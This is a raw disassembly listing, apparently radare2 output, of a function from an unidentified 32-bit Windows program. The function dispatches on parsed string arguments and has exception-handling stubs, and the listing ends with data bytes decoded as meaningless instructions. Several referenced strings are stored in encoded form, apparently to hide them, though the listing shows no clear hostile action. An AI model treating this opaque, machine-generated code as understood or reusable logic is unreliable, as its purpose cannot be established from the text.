mov ecx, dword [eax + 0xc]
call fcn.00406820
lea ecx, [ebp - 0xe4]
call fcn.0042b220
jmp 0x523711
mov edx, 0x5b7958
lea ecx, [ebp - 0x60]
call fcn.00442920
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044d770
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042b220
lea ecx, [ebp - 0x60]
test esi, esi
je 0x5230fd
call fcn.0042afd0
mov ecx, edi
mov dword [ebp - 4], 0x7f
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5230a0
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x6c]
call fcn.00523c20
lea eax, [ebp - 0x20]
mov dword [ebp - 0x44], 0xffffffff
push eax
lea edx, [ebp - 0x44]
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.00449690
mov eax, dword [ebp - 0x34]
add esp, 0xc
push dword [ebp - 0x20]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x44]
call fcn.00406e30
lea ecx, [ebp - 0x60]
call fcn.0042b220
jmp 0x523711
mov edx, 0x5b7940
call fcn.00442920
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044d770
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042b220
test esi, esi
je 0x52312f
call fcn.0044d700
jmp 0x523711
mov edx, 0x5b79a0
lea ecx, [ebp - 0x60]
call fcn.00442920
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044d770
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042b220
lea ecx, [ebp - 0x60]
test esi, esi
je 0x52345e
call fcn.0042afd0
mov ecx, edi
mov dword [ebp - 4], 0x80
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523172
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523c20
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.0041dc60
lea ecx, [ebp - 0x40]
call fcn.0041dc60
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x82
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x60]
call fcn.004498a0
add esp, 4
lea ecx, [ebp - 0x40]
call fcn.0044d720
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x5232cb
push str.bnBtYnNhcg
lea ecx, [ebp - 0x24]
call fcn.0042cf00
push str.Y3BwbXA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x83
call fcn.0042cf00
push str.Y3BwS3FlO0dsdF9qZ2JdRGdqY11OX3Jm
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x84
call fcn.0042cf00
push 0x58b2f0
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x85
call fcn.0042cf00
push 0x58b2f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x86
call fcn.0042cf00
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x87
mov ecx, esp
push eax
call fcn.0042c2c0
lea ecx, [ebp - 0x68]
call fcn.00442cb0
mov edi, eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x88
mov ecx, esp
push eax
call fcn.0042c2c0
lea ecx, [ebp - 0x84]
call fcn.00442cb0
mov esi, eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x89
mov ecx, esp
push eax
call fcn.0042c2c0
lea ecx, [ebp - 0x2c]
call fcn.00442cb0
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x8a
push ecx
lea ecx, [ebp - 0x20]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.004538a0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042bdf0
lea ecx, [ebp - 0x84]
call fcn.0042bdf0
lea ecx, [ebp - 0x68]
call fcn.0042bdf0
lea ecx, [ebp - 0x20]
call fcn.0042bdf0
lea ecx, [ebp - 0x44]
call fcn.0042bdf0
lea ecx, [ebp - 0x38]
call fcn.0042bdf0
lea ecx, [ebp - 0x3c]
call fcn.0042bdf0
lea ecx, [ebp - 0x24]
call fcn.0042bdf0
lea ecx, [ebp - 0x38]
call fcn.0041dc60
push str.eSBfbm4gOHkgI3VxIDh5IF9ubl1xcl9yc3EgOHkgbF9rYyA4ICN1cSAqIHFyX3JzcSA4ICN1cSB7e3t7
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x8b
call fcn.0042c620
push str.bG1sYw
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x8c
call fcn.0042c620
push str.Z2xxcl9qamNi
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x8d
call fcn.0042c620
sub esp, 0x18
mov byte [ebp - 4], 0x8e
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x523340
lea eax, [ebp - 0x100]
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x68]
call fcn.00442a50
add esp, 0x18
mov byte [ebp - 4], 0x8f
mov ecx, 1
jmp 0x523363
lea eax, [ebp - 0xe4]
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x28]
call fcn.00442a50
add esp, 0x18
mov dword [ebp - 4], 0x90
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x130]
call fcn.0042c620
mov dword [ebp - 4], 0x91
mov eax, dword [ebp - 0x3c]
test al, 2
je 0x523395
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x3c], eax
call fcn.0042bdf0
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x93
test al, 1
je 0x5233a5
lea ecx, [ebp - 0x68]
call fcn.0042bdf0
lea ecx, [ebp - 0x130]
call fcn.0042c1f0
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x84]
call fcn.00442a50
push esi
mov byte [ebp - 4], 0x94
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f420
add esp, 0x2c
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x84]
call fcn.0042bdf0
push ecx
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.0042c2c0
mov ecx, dword [ebp - 0x34]
call fcn.0051f100
lea ecx, [ebp - 0x130]
call fcn.0042c3d0
lea ecx, [ebp - 0x100]
call fcn.0042c3d0
lea ecx, [ebp - 0xe4]
call fcn.0042c3d0
lea ecx, [ebp - 0x9c]
call fcn.0042c3d0
lea ecx, [ebp - 0x38]
call fcn.0042bdf0
lea ecx, [ebp - 0x40]
call fcn.0042bdf0
lea ecx, [ebp - 0x1c]
call fcn.0042bdf0
lea ecx, [ebp - 0x60]
call fcn.0042b220
jmp 0x523711
mov edx, 0x5b7a78
call fcn.00442920
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044d770
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042b220
lea ecx, [ebp - 0x60]
test esi, esi
je 0x523519
call fcn.0042afd0
mov ecx, edi
mov dword [ebp - 4], 0x95
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5234a0
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x6c]
call fcn.00523c20
add esp, 8
lea ecx, [ebp - 0x60]
push 0x58b2f0
call fcn.00429c20
lea eax, [ebp - 0x48]
mov dword [ebp - 0x24], 1
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 2
push eax
lea eax, [ebp - 0x6c]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x60]
call fcn.00449cb0
mov eax, dword [ebp - 0x48]
add esp, 0xc
or eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.004133a0
lea ecx, [ebp - 0x60]
call fcn.0042b220
jmp 0x523711
mov edx, 0x5b79b8
call fcn.00442920
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044d770
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042b220
test esi, esi
je 0x5235cd
lea ecx, [ebp - 0x60]
call fcn.0042afd0
mov ecx, edi
mov dword [ebp - 4], 0x96
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523560
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523c20
add esp, 4
lea ecx, [ebp - 0x60]
call fcn.00523c90
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x34]
setne byte [ebp - 0x2d]
push dword [eax]
call fcn.0042c620
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x97
call fcn.0052f300
lea ecx, [ebp - 0x130]
call fcn.0042c3d0
lea ecx, [ebp - 0x60]
call fcn.0042b220
jmp 0x523711
push edi
lea ecx, [ebp - 0x40]
call fcn.0042bd10
push str.c2xpbG11bF1zZ11rY3FxX2Vj
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0x98
call fcn.0042cf00
push str.a3FlOyN1cQ
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x99
call fcn.0042cf00
lea ecx, [ebp - 0x1c]
call fcn.0041dc60
sub esp, 0x18
mov byte [ebp - 4], 0x9b
mov ecx, esp
push dword [ebp - 0x40]
call fcn.0042c620
lea ecx, [ebp - 0x68]
call fcn.0042dd50
add esp, 0x14
mov byte [ebp - 4], 0x9c
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x44]
push eax
call fcn.0042c2c0
lea ecx, [ebp - 0x28]
call fcn.00442cb0
add esp, 4
push esi
mov byte [ebp - 4], 0x9d
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041f420
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.0042bdf0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x9b
call fcn.0042bdf0
push 0x58b2f0
lea ecx, [ebp - 0x20]
call fcn.0042cf00
push 0x58b2f0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x9e
call fcn.0042cf00
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x9f
mov ecx, esp
push eax
call fcn.0042c2c0
lea ecx, [ebp - 0x68]
call fcn.00442cb0
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xa0
mov ecx, esp
push 0x5bc094
call fcn.0042c2f0
lea ecx, [ebp - 0x28]
call fcn.00442a50
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xa1
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.004538a0
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.0042bdf0
lea ecx, [ebp - 0x68]
call fcn.0042bdf0
lea ecx, [ebp - 0x24]
call fcn.0042bdf0
lea ecx, [ebp - 0x20]
call fcn.0042bdf0
lea ecx, [ebp - 0x1c]
call fcn.0042bdf0
lea ecx, [ebp - 0x44]
call fcn.0042bdf0
lea ecx, [ebp - 0x38]
call fcn.0042bdf0
lea ecx, [ebp - 0x40]
call fcn.0042bdf0
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
push str.invalid_stoi_argument
call fcn.0052fd09
push str.stoi_argument_out_of_range
call fcn.0052fd49
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
call fcn.0054be7f
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
call fcn.0054be7f
call fcn.0054be7f
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push str.invalid_map_K__T__key
call fcn.0052fd49
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push str.invalid_stoi_argument
call fcn.0052fd09
push str.stoi_argument_out_of_range
call fcn.0052fd49
nop
push cs
sub dword [edx], edx
movsb byte es:[edi], byte [esi]
sub byte [edx], dl
and byte [ecx], ch
push edx
add dl, bh
sub byte [edx], dl
cmp al, 0x29
push edx
add byte [eax], al
add al, 4
add al, 1
add al, 4
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3